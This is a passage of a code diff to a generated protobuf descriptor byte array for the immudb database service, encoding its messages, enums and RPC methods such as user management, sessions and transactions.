0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x12, 0x59, 0x0a, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, - 0x64, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, - 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, 0x09, 0x45, 0x72, 0x72, 0x6f, - 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x63, 0x61, 0x75, - 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x22, - 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x14, 0x0a, 0x05, - 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x73, 0x74, 0x61, - 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, 0x49, 0x6e, 0x66, 0x6f, 0x12, - 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x61, 0x79, - 0x22, 0x84, 0x01, 0x0a, 0x17, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, - 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, - 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x4d, 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, - 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, - 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, - 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22, 0x36, 0x0a, 0x18, 0x54, 0x72, 0x75, 0x6e, 0x63, - 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x2a, - 0x4b, 0x0a, 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, - 0x0f, 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x01, - 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, 0x02, 0x12, - 0x0b, 0x0a, 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, 0x0a, 0x10, - 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x12, 0x09, 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x52, - 0x45, 0x56, 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, - 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, - 0x0d, 0x0a, 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, - 0x0a, 0x09, 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xe8, 0x33, - 0x0a, 0x0b, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, - 0x09, 0x4c, 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, - 0x58, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0a, 0x22, - 0x05, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0e, 0x43, 0x68, 0x61, - 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, - 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x15, 0x73, 0x6e, + 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, + 0x69, 0x6f, 0x64, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x74, 0x72, 0x61, + 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, 0x09, 0x45, 0x72, + 0x72, 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x63, + 0x61, 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x63, 0x61, 0x75, 0x73, + 0x65, 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x14, + 0x0a, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x73, + 0x74, 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, 0x49, 0x6e, 0x66, + 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, 0x6c, 0x61, 0x79, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, + 0x61, 0x79, 0x22, 0x84, 0x01, 0x0a, 0x17, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, + 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x4d, 0x0a, 0x0f, 0x72, 0x65, + 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, + 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, + 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22, 0x36, 0x0a, 0x18, 0x54, 0x72, 0x75, + 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x2a, 0x4b, 0x0a, 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, + 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, + 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, + 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, + 0x0a, 0x10, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x12, 0x09, 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, + 0x06, 0x52, 0x45, 0x56, 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, + 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, + 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, + 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, + 0xe8, 0x33, 0x0a, 0x0b, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, + 0x50, 0x0a, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, + 0x74, 0x12, 0x58, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, + 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x1a, 0x22, 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, - 0x64, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x75, 0x0a, 0x10, 0x43, - 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, - 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, - 0x21, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, - 0x68, 0x61, 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x3a, - 0x01, 0x2a, 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, - 0x73, 0x65, 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, - 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x0a, 0x22, 0x05, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0e, 0x43, + 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, + 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, + 0x6f, 0x72, 0x64, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x75, 0x0a, + 0x10, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x22, 0x21, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, + 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, + 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, + 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, + 0x72, 0x2f, 0x73, 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x3a, + 0x01, 0x2a, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, + 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, + 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, + 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, + 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, 0x4f, 0x70, + 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, + 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x22, 0x00, 0x12, 0x40, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x22, 0x00, 0x12, 0x3d, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, + 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, + 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, + 0x6d, 0x69, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, + 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, + 0x52, 0x6f, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, - 0x73, 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, - 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, - 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 